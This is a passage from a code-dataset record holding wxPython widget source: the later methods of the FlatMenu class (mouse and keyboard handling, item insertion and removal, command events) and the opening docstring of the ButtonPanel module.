wx.Platform:\n\n ptCur = self.ClientToScreen(pos)\n if ptCur == self._ptLast:\n return\n \n self._ptLast = ptCur\n\n # first let the scrollbar handle it\n self.TryScrollButtons(event)\n self.ProcessMouseMove(pos)\n\n\n def OnMouseLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.TryScrollButtons(event):\n return\n\n pos = event.GetPosition()\n self.ProcessMouseLClick(pos)\n\n\n def OnMouseLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.TryScrollButtons(event):\n return\n\n pos = event.GetPosition()\n rect = self.GetClientRect()\n \n if not rect.Contains(pos):\n \n # The event is not in our coords, \n # so we try our parent\n win = self._parentMenu\n\n while win:\n \n # we need to translate our client coords to the client coords of the\n # window we forward this event to\n ptScreen = self.ClientToScreen(pos)\n p = win.ScreenToClient(ptScreen)\n \n if win.GetClientRect().Contains(p):\n \n event.m_x = p.x\n event.m_y = p.y\n win.OnMouseLeftUp(event)\n return\n \n else:\n # try the grandparent\n win = win._parentMenu\n\n else:\n self.ProcessMouseLClickEnd(pos)\n \n if self._showScrollButtons:\n\n if self._upButton:\n self._upButton.ProcessLeftUp(pos)\n if self._downButton:\n self._downButton.ProcessLeftUp(pos)\n \n\n def OnMouseRightDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_RIGHT_DOWN`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.TryScrollButtons(event):\n return\n \n pos = event.GetPosition()\n self.ProcessMouseRClick(pos)\n\n\n def ProcessMouseRClick(self, pos):\n \"\"\"\n Processes mouse right clicks.\n\n :param `pos`: the position at which the mouse right button was pressed.\n \"\"\"\n\n rect = self.GetClientRect()\n \n if not rect.Contains(pos):\n \n # The event is not in our coords, \n # so we try our parent\n\n win = self._parentMenu\n while win:\n \n # we need to translate our client coords to the client coords of the\n # window we forward self event to\n ptScreen = self.ClientToScreen(pos)\n p = win.ScreenToClient(ptScreen)\n \n if win.GetClientRect().Contains(p):\n win.ProcessMouseRClick(p)\n return\n \n else:\n # try the grandparent\n win = win._parentMenu\n \n # At this point we can assume that the event was not \n # processed, so we dismiss the menu and its children\n self.Dismiss(True, True)\n return\n \n # test if we are on a menu item\n res, itemIdx = self.HitTest(pos)\n if res == MENU_HT_ITEM:\n self.OpenItemContextMenu(itemIdx)\n\n\n def OpenItemContextMenu(self, itemIdx):\n \"\"\"\n Open an item's context menu (if any).\n\n :param `itemIdx`: the index of the item for which we want to open the context menu.\n \"\"\"\n\n item = self._itemsArr[itemIdx]\n context_menu = item.GetContextMenu()\n\n # If we have a context menu, close any opened submenu\n if context_menu:\n self.CloseSubMenu(itemIdx, True)\n\n if context_menu and not context_menu.IsShown():\n # Popup child menu\n pos = wx.Point()\n pos.x = item.GetRect().GetWidth() + item.GetRect().GetX() - 5\n pos.y = item.GetRect().GetY()\n self._clearCurrentSelection = False\n self._openedSubMenu = context_menu\n context_menu.Popup(self.ScreenToClient(wx.GetMousePosition()), self._owner, self)\n return True\n\n return False\n \n\n def ProcessMouseLClick(self, pos):\n \"\"\"\n Processes mouse left clicks.\n\n :param `pos`: the position at which the mouse left button was pressed.\n \"\"\"\n \n rect = self.GetClientRect()\n \n if not rect.Contains(pos):\n \n # The event is not in our coords, \n # so we try our parent\n\n win = self._parentMenu\n while win:\n \n # we need to translate our client coords to the client coords of the\n # window we forward self event to\n ptScreen = self.ClientToScreen(pos)\n p = win.ScreenToClient(ptScreen)\n \n if win.GetClientRect().Contains(p): \n win.ProcessMouseLClick(p)\n return\n \n else:\n # try the grandparent\n win = win._parentMenu\n \n # At this point we can assume that the event was not \n # processed, so we dismiss the menu and its children\n self.Dismiss(True, True)\n return\n\n\n def ProcessMouseLClickEnd(self, pos):\n \"\"\"\n Processes mouse left clicks.\n\n :param `pos`: the position at which the mouse left button was pressed.\n \"\"\"\n\n self.ProcessMouseLClick(pos)\n\n # test if we are on a menu item \n res, itemIdx = self.HitTest(pos)\n \n if res == MENU_HT_ITEM:\n self.DoAction(itemIdx)\n\n elif res == MENU_HT_SCROLL_UP:\n if self._upButton:\n self._upButton.ProcessLeftDown(pos)\n\n elif res == MENU_HT_SCROLL_DOWN:\n if self._downButton:\n self._downButton.ProcessLeftDown(pos)\n\n else:\n self._selectedItem = -1\n\n\n def ProcessMouseMove(self, pos):\n \"\"\"\n Processes mouse movements.\n\n :param `pos`: the position at which the mouse was moved.\n \"\"\"\n\n rect = self.GetClientRect()\n \n if not rect.Contains(pos):\n \n # The event is not in our coords, \n # so we try our parent\n\n win = self._parentMenu\n while win:\n \n # we need to translate our client coords to the client coords of the\n # window we forward self event to\n ptScreen = self.ClientToScreen(pos)\n p = win.ScreenToClient(ptScreen)\n\n if win.GetClientRect().Contains(p):\n win.ProcessMouseMove(p)\n return\n \n else:\n # try the grandparent\n win = win._parentMenu\n \n # If we are attached to a menu bar, \n # let him process the event as well\n if self._mb:\n \n ptScreen = self.ClientToScreen(pos)\n p = self._mb.ScreenToClient(ptScreen)\n \n if self._mb.GetClientRect().Contains(p):\n \n # let the menu bar process it\n self._mb.ProcessMouseMoveFromMenu(p)\n return\n\n if self._mb_submenu:\n ptScreen = self.ClientToScreen(pos)\n p = self._mb_submenu.ScreenToClient(ptScreen)\n if self._mb_submenu.GetClientRect().Contains(p):\n # let the menu bar process it\n self._mb_submenu.ProcessMouseMoveFromMenu(p)\n return\n\n return\n \n # test if we are on a menu item\n res, itemIdx = self.HitTest(pos)\n\n if res == MENU_HT_SCROLL_DOWN:\n\n if self._downButton:\n self._downButton.ProcessMouseMove(pos)\n\n elif res == MENU_HT_SCROLL_UP:\n\n if self._upButton:\n self._upButton.ProcessMouseMove(pos)\n\n elif res == MENU_HT_ITEM:\n\n if self._downButton:\n self._downButton.ProcessMouseMove(pos)\n\n if self._upButton:\n self._upButton.ProcessMouseMove(pos)\n\n if self._selectedItem == itemIdx:\n return\n\n # Message to send when out of last selected item\n if self._selectedItem != -1:\n self.SendOverItem(self._selectedItem, False)\n self.SendOverItem(itemIdx, True) # Message to send when over an item\n \n oldSelection = self._selectedItem\n self._selectedItem = itemIdx\n self.CloseSubMenu(self._selectedItem)\n\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSelection)\n\n self.TryOpenSubMenu(self._selectedItem)\n\n if self._mb:\n self._mb.RemoveHelp()\n if itemIdx >= 0:\n self._mb.DoGiveHelp(self._itemsArr[itemIdx])\n\n else:\n\n # Message to send when out of last selected item\n if self._selectedItem != -1:\n item = self._itemsArr[self._selectedItem]\n if item.IsSubMenu() and item.GetSubMenu().IsShown():\n return\n\n # Message to send when out of last selected item\n if self._selectedItem != -1:\n self.SendOverItem(self._selectedItem, False)\n \n oldSelection = self._selectedItem\n self._selectedItem = -1\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSelection)\n \n\n def OnMouseLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self._mb:\n self._mb.RemoveHelp()\n \n if self._clearCurrentSelection:\n\n # Message to send when out of last selected item\n if self._selectedItem != -1:\n item = self._itemsArr[self._selectedItem]\n if item.IsSubMenu() and item.GetSubMenu().IsShown():\n return\n \n # Message to send when out of last selected item\n if self._selectedItem != -1:\n self.SendOverItem(self._selectedItem, False)\n\n oldSelection = self._selectedItem\n self._selectedItem = -1\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSelection)\n \n self._clearCurrentSelection = True\n\n if \"__WXMSW__\" in wx.Platform:\n self.SetCursor(self._oldCur)\n\n\n def OnMouseEnterWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_ENTER_WINDOW`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if \"__WXMSW__\" in wx.Platform:\n self._oldCur = self.GetCursor()\n self.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n\n event.Skip()\n\n\n def OnKillFocus(self, event):\n \"\"\"\n Handles the ``wx.EVT_KILL_FOCUS`` event for L{FlatMenu}.\n\n :param `event`: a `wx.FocusEvent` event to be processed.\n \"\"\"\n \n self.Dismiss(True, True)\n\n\n def CloseSubMenu(self, itemIdx, alwaysClose=False):\n \"\"\"\n Closes a child sub-menu.\n\n :param `itemIdx`: the index of the item for which we want to close the submenu;\n :param `alwaysClose`: if ``True``, always close the submenu irrespectively of\n other conditions.\n \"\"\"\n\n item = None\n subMenu = None\n\n if itemIdx >= 0 and itemIdx < len(self._itemsArr):\n item = self._itemsArr[itemIdx]\n\n # Close sub-menu first\n if item:\n subMenu = item.GetSubMenu()\n\n if self._openedSubMenu:\n if self._openedSubMenu != subMenu or alwaysClose:\n # We have another sub-menu open, close it \n self._openedSubMenu.Dismiss(False, True)\n self._openedSubMenu = None\n \n\n def DoAction(self, itemIdx):\n \"\"\"\n Performs an action based on user selection.\n\n :param `itemIdx`: the index of the item for which we want to perform the action.\n \"\"\"\n\n if itemIdx < 0 or itemIdx >= len(self._itemsArr):\n raise Exception(\"Invalid menu item\")\n return\n\n item = self._itemsArr[itemIdx]\n \n if not item.IsEnabled() or item.IsSeparator():\n return\n\n # Close sub-menu if needed\n self.CloseSubMenu(itemIdx)\n \n if item.IsSubMenu() and not item.GetSubMenu().IsShown():\n \n # Popup child menu\n self.TryOpenSubMenu(itemIdx)\n return\n\n if item.IsRadioItem():\n # if the radio item is already checked, \n # just send command event. Else, check it, uncheck the current\n # checked item in the radio item group, and send command event\n if not item.IsChecked():\n item._groupPtr.SetSelection(item)\n \n elif item.IsCheckable():\n \n item.Check(not item.IsChecked())\n dc = wx.ClientDC(self)\n self.DrawSelection(dc)\n \n if not item.IsSubMenu():\n \n self.Dismiss(True, False)\n\n # Send command event\n self.SendCmdEvent(itemIdx)\n\n\n def TryOpenSubMenu(self, itemIdx, selectFirst=False):\n \"\"\"\n If `itemIdx` is an item with submenu, open it.\n\n :param `itemIdx`: the index of the item for which we want to open the submenu;\n :param `selectFirst`: if ``True``, the first item of the submenu will be shown\n as selected.\n \"\"\"\n \n if itemIdx < 0 or itemIdx >= len(self._itemsArr):\n return False\n\n item = self._itemsArr[itemIdx]\n if item.IsSubMenu() and not item.GetSubMenu().IsShown():\n \n pos = wx.Point()\n\n # Popup child menu\n pos.x = item.GetRect().GetWidth()+ item.GetRect().GetX()-5\n pos.y = item.GetRect().GetY()\n self._clearCurrentSelection = False\n self._openedSubMenu = item.GetSubMenu()\n item.GetSubMenu().Popup(pos, self._owner, self)\n \n # Select the first child\n if selectFirst:\n \n dc = wx.ClientDC(item.GetSubMenu())\n item.GetSubMenu()._selectedItem = 0\n item.GetSubMenu().DrawSelection(dc)\n \n return True\n \n return False\n\n\n def _RemoveById(self, id):\n \"\"\" Used internally. \"\"\"\n \n # First we search for the menu item (recursively)\n menuParent = None\n item = None\n idx = wx.NOT_FOUND\n idx, menuParent = self.FindMenuItemPos(id)\n \n if idx != wx.NOT_FOUND:\n \n # Remove the menu item\n item = menuParent._itemsArr[idx]\n menuParent._itemsArr.pop(idx)\n\n # update group\n if item._groupPtr and item.IsRadioItem():\n item._groupPtr.Remove(item)\n \n # Resize the menu\n menuParent.ResizeMenu()\n \n return item\n\n\n def Remove(self, item):\n \"\"\"\n Removes the menu item from the menu but doesn't delete the associated menu\n object. This allows to reuse the same item later by adding it back to the\n menu (especially useful with submenus).\n\n :param `item`: can be either a menu item identifier or a plain L{FlatMenuItem}.\n \"\"\"\n\n if type(item) != type(1):\n item = item.GetId()\n \n return self._RemoveById(item)\n\n\n def _DestroyById(self, id):\n \"\"\" Used internally. \"\"\"\n\n item = None\n item = self.Remove(id)\n \n if item:\n del item\n\n\n def Destroy(self, item):\n \"\"\"\n Deletes the menu item from the menu. If the item is a submenu, it will be\n deleted. Use L{Remove} if you want to keep the submenu (for example, to reuse\n it later).\n\n :param `item`: can be either a menu item identifier or a plain L{FlatMenuItem}. \n \"\"\"\n\n if type(item) != type(1):\n item = item.GetId()\n\n self._DestroyById(item)\n \n\n def Insert(self, pos, id, item, helpString=\"\", kind=wx.ITEM_NORMAL):\n \"\"\"\n Inserts the given `item` before the position `pos`.\n\n :param `pos`: the position at which to insert the new menu item;\n :param `id`: the menu item identifier;\n :param `item`: the string to appear on the menu item;\n :param `helpString`: an optional help string associated with the item. By default,\n the handler for the ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` event displays this string\n in the status line;\n :param `kind`: may be ``wx.ITEM_NORMAL`` for a normal button (default),\n ``wx.ITEM_CHECK`` for a checkable tool (such tool stays pressed after it had been\n toggled) or ``wx.ITEM_RADIO`` for a checkable tool which makes part of a radio\n group of tools each of which is automatically unchecked whenever another button\n in the group is checked;\n \"\"\"\n \n newitem = FlatMenuItem(self, id, item, helpString, kind)\n return self.InsertItem(pos, newitem)\n\n\n def InsertItem(self, pos, item):\n \"\"\"\n Inserts an item into the menu.\n\n :param `pos`: the position at which to insert the new menu item;\n :param `item`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n if pos == len(self._itemsArr):\n # Append it\n return self.AppendItem(item)\n\n # Insert the menu item \n self._itemsArr.insert(pos, item)\n item._isAttachedToMenu = True\n\n # Recalculate the menu geometry\n self.ResizeMenu()\n \n # Update radio groups\n self.UpdateRadioGroup(item)\n\n return item\n\n\n def UpdateRadioGroup(self, item):\n \"\"\"\n Updates a group of radio items.\n\n :param `item`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n if item.IsRadioItem():\n \n # Udpate radio groups in case this item is a radio item\n sibling = self.GetSiblingGroupItem(item)\n if sibling:\n \n item._groupPtr = sibling._groupPtr\n item._groupPtr.Add(item)\n\n if item.IsChecked():\n \n item._groupPtr.SetSelection(item)\n \n else:\n \n # first item in group\n item._groupPtr = FlatMenuItemGroup()\n item._groupPtr.Add(item)\n item._groupPtr.SetSelection(item)\n\n \n def ResizeMenu(self):\n \"\"\" Resizes the menu to the correct size. \"\"\"\n\n # can we do the resize?\n if not self._resizeMenu:\n return\n\n items = self._itemsArr\n self._itemsArr = []\n\n # Clear accelerator table\n self._accelArray = []\n\n # Reset parameters and menu size\n self._menuWidth = 2*self._marginWidth\n self._imgMarginX = 0\n self._markerMarginX = 0\n self._textX = self._marginWidth\n self._rightMarginPosX = -1\n self._itemHeight = self._marginHeight\n self.SetSize(wx.Size(self._menuWidth*self._numCols, self._itemHeight+4))\n\n # Now we simply add the items \n for item in items:\n self.AppendItem(item)\n\n\n def SetNumberColumns(self, numCols):\n \"\"\"\n Sets the number of columns for a menu window.\n\n :param `numCols`: the number of columns for this L{FlatMenu} window.\n \"\"\"\n\n if self._numCols == numCols:\n return\n \n self._numCols = numCols\n self.ResizeMenu()\n self.Refresh()\n\n\n def GetNumberColumns(self):\n \"\"\" Returns the number of columns for a menu window. \"\"\"\n\n return self._numCols\n \n\n def FindItem(self, itemId, menu=None):\n \"\"\"\n Finds the menu item object associated with the given menu item identifier and, \n optionally, the (sub)menu it belongs to.\n\n :param `itemId`: menu item identifier;\n :param `menu`: if not ``None``, it will be filled with the item's parent menu\n (if the item was found).\n \"\"\"\n \n idx = wx.NOT_FOUND\n \n if menu:\n \n idx, menu = self.FindMenuItemPos(itemId, menu)\n if idx != wx.NOT_FOUND:\n return menu._itemsArr[idx]\n else:\n return None\n \n else:\n \n idx, parentMenu = self.FindMenuItemPos(itemId, None)\n if idx != wx.NOT_FOUND:\n return parentMenu._itemsArr[idx]\n else:\n return None\n \n\n def FindMenuItemPos(self, itemId, menu=None):\n \"\"\"\n Finds an item and its position inside the menu based on its id.\n\n :param `itemId`: menu item identifier;\n :param `menu`: if not ``None``, it will be filled with the item's parent menu\n (if the item was found).\n \"\"\"\n \n menu = None\n item = None\n\n idx = wx.NOT_FOUND\n\n for i in xrange(len(self._itemsArr)):\n \n item = self._itemsArr[i]\n\n if item.GetId() == itemId:\n \n menu = self\n idx = i\n break\n \n elif item.IsSubMenu():\n \n idx, menu = item.GetSubMenu().FindMenuItemPos(itemId, menu)\n if idx != wx.NOT_FOUND:\n break\n \n else:\n \n item = None\n \n return idx, menu\n\n\n def GetAccelTable(self):\n \"\"\" Returns the menu accelerator table. \"\"\"\n \n n = len(self._accelArray)\n if n == 0:\n return wx.NullAcceleratorTable\n \n entries = [wx.AcceleratorEntry() for ii in xrange(n)]\n\n for counter in len(entries):\n entries[counter] = self._accelArray[counter]\n \n table = wx.AcceleratorTable(entries)\n del entries\n\n return table\n\n\n def GetAccelArray(self):\n \"\"\" Returns an array filled with the accelerator entries for the menu. \"\"\"\n\n return self._accelArray\n\n\n # events \n def SendCmdEvent(self, itemIdx):\n \"\"\"\n Actually sends menu command events.\n\n :param `itemIdx`: the menu item index for which we want to send a command event.\n \"\"\"\n \n if itemIdx < 0 or itemIdx >= len(self._itemsArr):\n raise Exception(\"Invalid menu item\")\n return\n \n item = self._itemsArr[itemIdx]\n\n # Create the event\n event = wx.CommandEvent(wxEVT_FLAT_MENU_SELECTED, item.GetId())\n\n # For checkable item, set the IsChecked() value\n if item.IsCheckable():\n event.SetInt((item.IsChecked() and [1] or [0])[0])\n \n event.SetEventObject(self)\n\n if self._owner:\n self._owner.GetEventHandler().ProcessEvent(event)\n else:\n self.GetEventHandler().ProcessEvent(event)\n\n\n def SendOverItem(self, itemIdx, over):\n \"\"\"\n Sends the ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` and ``EVT_FLAT_MENU_ITEM_MOUSE_OUT``\n events.\n\n :param `itemIdx`: the menu item index for which we want to send an event;\n :param `over`: ``True`` to send a ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` event, ``False`` to\n send a ``EVT_FLAT_MENU_ITEM_MOUSE_OUT`` event.\n \"\"\"\n\n item = self._itemsArr[itemIdx]\n\n # Create the event\n event = FlatMenuEvent((over and [wxEVT_FLAT_MENU_ITEM_MOUSE_OVER] or [wxEVT_FLAT_MENU_ITEM_MOUSE_OUT])[0], item.GetId())\n\n # For checkable item, set the IsChecked() value\n if item.IsCheckable():\n event.SetInt((item.IsChecked() and [1] or [0])[0])\n \n event.SetEventObject(self)\n\n if self._owner:\n self._owner.GetEventHandler().ProcessEvent(event)\n else:\n self.GetEventHandler().ProcessEvent(event)\n\n\n def SendUIEvent(self, itemIdx):\n \"\"\"\n Actually sends menu UI events.\n\n :param `itemIdx`: the menu item index for which we want to send a UI event.\n \"\"\"\n \n if itemIdx < 0 or itemIdx >= len(self._itemsArr):\n raise Exception(\"Invalid menu item\")\n return\n \n item = self._itemsArr[itemIdx]\n event = wx.UpdateUIEvent(item.GetId())\n \n event.Check(item.IsChecked())\n event.Enable(item.IsEnabled())\n event.SetText(item.GetText())\n event.SetEventObject(self)\n\n if self._owner:\n self._owner.GetEventHandler().ProcessEvent(event)\n else:\n self.GetEventHandler().ProcessEvent(event)\n\n item.Check(event.GetChecked()) \n item.SetLabel(event.GetText())\n item.Enable(event.GetEnabled())\n\n\n def Clear(self):\n \"\"\" Clears the menu items. \"\"\"\n\n # since Destroy() call ResizeMenu(), we turn this flag on\n # to avoid resizing the menu for every item removed\n self._resizeMenu = False\n\n lenItems = len(self._itemsArr)\n for ii in xrange(lenItems):\n self.Destroy(self._itemsArr[0].GetId())\n\n # Now we can resize the menu\n self._resizeMenu = True\n self.ResizeMenu()\n\n\n def FindMenuItemPosSimple(self, item):\n \"\"\"\n Finds an item and its position inside the menu based on its id.\n\n :param `item`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n if item == None or len(self._itemsArr) == 0:\n return wx.NOT_FOUND\n\n for i in xrange(len(self._itemsArr)):\n if self._itemsArr[i] == item:\n return i\n \n return wx.NOT_FOUND\n\n\n def GetAllItems(self, menu=None, items=[]):\n \"\"\"\n Internal function to help recurse through all the menu items.\n\n :param `menu`: the menu from which we start accumulating items;\n :param `items`: the array which is recursively filled with menu items.\n \"\"\"\n\n # first copy the current menu items\n newitems = [item for item in items]\n\n if not menu:\n return newitems\n \n # if any item in this menu has sub-menu, copy them as well\n for i in xrange(len(menu._itemsArr)):\n if menu._itemsArr[i].IsSubMenu():\n newitems = self.GetAllItems(menu._itemsArr[i].GetSubMenu(), newitems)\n\n return newitems\n \n \n def GetSiblingGroupItem(self, item):\n \"\"\"\n Used internally.\n\n :param `item`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n pos = self.FindMenuItemPosSimple(item)\n if pos in [wx.NOT_FOUND, 0]:\n return None\n\n if self._itemsArr[pos-1].IsRadioItem():\n return self._itemsArr[pos-1]\n \n return None\n\n\n def ScrollDown(self):\n \"\"\" Scrolls the menu down (for very tall menus). \"\"\"\n\n # increase the self._from index\n if not self._itemsArr[-1].IsShown(): \n self._first += 1\n self.Refresh()\n \n return True\n \n else:\n if self._downButton:\n self._downButton.GetTimer().Stop()\n \n return False\n\n\n def ScrollUp(self):\n \"\"\" Scrolls the menu up (for very tall menus). \"\"\"\n\n if self._first == 0:\n if self._upButton:\n self._upButton.GetTimer().Stop()\n \n return False\n \n else:\n \n self._first -= 1\n self.Refresh()\n return True\n\n \n # Not used anymore\n def TryScrollButtons(self, event):\n \"\"\" Used internally. \"\"\"\n \n return False\n\n\n def OnTimer(self, event):\n \"\"\"\n Handles the ``wx.EVT_TIMER`` event for L{FlatMenu}.\n\n :param `event`: a `wx.TimerEvent` event to be processed. \n \"\"\"\n\n if self._upButton and self._upButton.GetTimerId() == event.GetId():\n\n self.ScrollUp()\n\n elif self._downButton and self._downButton.GetTimerId() == event.GetId():\n\n self.ScrollDown()\n\n else:\n \n event.Skip()\n\n\n#--------------------------------------------------------\n# Class MenuKbdRedirector\n#--------------------------------------------------------\n\nclass MenuKbdRedirector(wx.EvtHandler):\n \"\"\" A keyboard event handler. \"\"\"\n \n def __init__(self, menu, oldHandler):\n \"\"\"\n Default class constructor.\n\n :param `menu`: an instance of L{FlatMenu} for which we want to redirect\n keyboard inputs;\n :param `oldHandler`: a previous (if any) `wx.EvtHandler` associated with\n the menu.\n \"\"\"\n\n self._oldHandler = oldHandler\n self.SetMenu(menu)\n wx.EvtHandler.__init__(self)\n \n\n def SetMenu(self, menu):\n \"\"\"\n Sets the listener menu.\n\n :param `menu`: an instance of L{FlatMenu}.\n \"\"\"\n\n self._menu = menu\n\n\n def ProcessEvent(self, event):\n \"\"\"\n Processes the inout event.\n\n :param `event`: any kind of keyboard-generated events.\n \"\"\"\n\n if event.GetEventType() in [wx.EVT_KEY_DOWN, wx.EVT_CHAR, wx.EVT_CHAR_HOOK]:\n return self._menu.OnChar(event.GetKeyCode())\n else:\n return self._oldHandler.ProcessEvent(event)\n\n\n#--------------------------------------------------------\n# Class FocusHandler\n#--------------------------------------------------------\n \nclass FocusHandler(wx.EvtHandler):\n \"\"\" A focus event handler. \"\"\"\n \n def __init__(self, menu):\n \"\"\"\n Default class constructor.\n\n :param `menu`: an instance of L{FlatMenu} for which we want to redirect\n focus inputs.\n \"\"\"\n\n wx.EvtHandler.__init__(self)\n self.SetMenu(menu)\n\n self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n self.Bind(wx.EVT_KILL_FOCUS, self.OnKillFocus)\n \n\n def SetMenu(self, menu):\n \"\"\"\n Sets the listener menu.\n\n :param `menu`: an instance of L{FlatMenu}.\n \"\"\"\n\n self._menu = menu\n\n\n def OnKeyDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_DOWN`` event for L{FocusHandler}.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n # Let parent process it\n self._menu.OnKeyDown(event)\n\n\n def OnKillFocus(self, event):\n \"\"\"\n Handles the ``wx.EVT_KILL_FOCUS`` event for L{FocusHandler}.\n\n :param `event`: a `wx.FocusEvent` event to be processed.\n \"\"\"\n \n wx.PostEvent(self._menu, event)\n\n\n", "id": "5343621", "language": "Python", "matching_score": 10.938763618469238, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/flatmenu.py" }, { "content": "# --------------------------------------------------------------------------- #\n# FANCYBUTTONPANEL Widget wxPython IMPLEMENTATION\n#\n# Original C++ Code From Eran. You Can Find It At:\n#\n# http://wxforum.shadonet.com/viewtopic.php?t=6619\n#\n# License: wxWidgets license\n#\n#\n# Python Code By:\n#\n# <NAME>, @ 02 Oct 2006\n# Latest Revision: 28 Nov 2010, 16.00 GMT\n#\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\"\"\"\nA custom panel class with gradient background shading with the possibility to\nadd buttons and controls still respecting the gradient background.\n\n \nDescription\n===========\n\nWith `ButtonPanel` class you have a panel with gradient colouring\non it and with the possibility to place some buttons on it. Using a\nstandard panel with normal `wx.Buttons` leads to an ugly result: the\nbuttons are placed correctly on the panel - but with grey area around\nthem. Gradient colouring is kept behind the images - this was achieved\ndue to the PNG format and the transparency of the bitmaps.\n\nThe image are functioning like a buttons and can be caught in your\ncode using the usual::\n\n self.Bind(wx.EVT_BUTTON, self.OnButton)\n\nmethod.\n\nThe control is generic, and support theming (well, I tested it under\nWindows with the three defauls themes: grey, blue, silver and the\nclassic look).\n\n\nUsage\n=====\n\nButtonPanel supports 4 alignments: left, right, top, bottom, which have a\ndifferent meaning and behavior with respect to `wx.Toolbar`. The easiest\nthing is to try the demo to understand, but I'll try to explain how it works.\n\n**CASE 1**: `ButtonPanel` has a main caption text.\n\n- Left alignment means `ButtonPanel` is horizontal, with the text aligned to the\n left. When you shrink the demo frame, if there is not enough room for all\n the controls to be shown, the controls closest to the text are hidden;\n\n- Right alignment means `ButtonPanel` is horizontal, with the text aligned to the\n right. Item layout as above;\n\n- Top alignment means `ButtonPanel` is vertical, with the text aligned to the top.\n Item layout as above;\n\n- Bottom alignment means `ButtonPanel` is vertical, with the text aligned to the\n bottom. Item layout as above.\n\n\n**CASE 2**: `ButtonPanel` has **no** main caption text.\n\n- In this case, left and right alignment are the same (as top and bottom are the same),\n but the layout strategy changes: now if there is not enough room for all the controls\n to be shown, the last added items are hidden (\"last\" means on the far right for\n horizontal ButtonPanels and far bottom for vertical ButtonPanels).\n\n\nThe following example shows a simple implementation that uses `ButtonPanel`\ninside a very simple frame::\n\n class MyFrame(wx.Frame):\n\n def __init__(self, parent, id=-1, title=\"ButtonPanel\", pos=wx.DefaultPosition,\n size=(800, 600), style=wx.DEFAULT_FRAME_STYLE):\n \n wx.Frame.__init__(self, parent, id, title, pos, size, style)\n\n mainPanel = wx.Panel(self, -1)\n self.logtext = wx.TextCtrl(mainPanel, -1, \"\", style=wx.TE_MULTILINE)\n\n vSizer = wx.BoxSizer(wx.VERTICAL) \n mainPanel.SetSizer(vSizer) \n\n alignment = BP_ALIGN_RIGHT \n\n titleBar = ButtonPanel(mainPanel, -1, \"A Simple Test & Demo\")\n\n btn1 = ButtonInfo(titleBar, wx.NewId(), wx.Bitmap(\"png4.png\", wx.BITMAP_TYPE_PNG))\n titleBar.AddButton(btn1)\n self.Bind(wx.EVT_BUTTON, self.OnButton, btn1)\n\n btn2 = ButtonInfo(titleBar, wx.NewId(), wx.Bitmap(\"png3.png\", wx.BITMAP_TYPE_PNG))\n titleBar.AddButton(btn2)\n self.Bind(wx.EVT_BUTTON, self.OnButton, btn2)\n\n btn3 = ButtonInfo(titleBar, wx.NewId(), wx.Bitmap(\"png2.png\", wx.BITMAP_TYPE_PNG))\n titleBar.AddButton(btn3)\n self.Bind(wx.EVT_BUTTON, self.OnButton, btn3)\n\n btn4 = ButtonInfo(titleBar, wx.NewId(), wx.Bitmap(\"png1.png\", wx.BITMAP_TYPE_PNG))\n titleBar.AddButton(btn4)\n self.Bind(wx.EVT_BUTTON, self.OnButton, btn4)\n\n vSizer.Add(titleBar, 0, wx.EXPAND)\n vSizer.Add((20, 20))\n vSizer.Add(self.logtext, 1, wx.EXPAND|wx.ALL, 5)\n\n titleBar.DoLayout()\n vSizer.Layout()\n \n # our normal wxApp-derived class, as usual\n\n app = wx.PySimpleApp()\n \n frame = MyFrame(None)\n app.SetTopWindow(frame)\n frame.Show()\n \n app.MainLoop()\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n==================== =========== ==================================================\nWindow Styles Hex Value Description\n==================== =========== ==================================================\n``BP_DEFAULT_STYLE`` 0x1 `ButtonPanel` has a plain solid background.\n``BP_USE_GRADIENT`` 0x2 `ButtonPanel` has a gradient shading background.\n==================== =========== ==================================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n================= ==================================================\nEvent Name Description\n================= ==================================================\n``wx.EVT_BUTTON`` Process a `wx.wxEVT_COMMAND_BUTTON_CLICKED` event, when a button is clicked. \n================= ==================================================\n\n\nLicense And Version\n===================\n\nButtonPanel is distributed under the wxPython license. \n\nLatest Revision: <NAME> @ 28 Nov 2010, 16.00 GMT\n\nVersion 0.6.\n\n\"\"\"\n\n\nimport wx\n\n# Some constants to tune the BPArt class\nBP_BACKGROUND_COLOUR = 0\n\"\"\" Background brush colour when no gradient shading exists. \"\"\"\nBP_GRADIENT_COLOUR_FROM = 1\n\"\"\" Starting gradient colour, used only when BP_USE_GRADIENT style is applied. \"\"\"\nBP_GRADIENT_COLOUR_TO = 2\n\"\"\" Ending gradient colour, used only when BP_USE_GRADIENT style is applied. 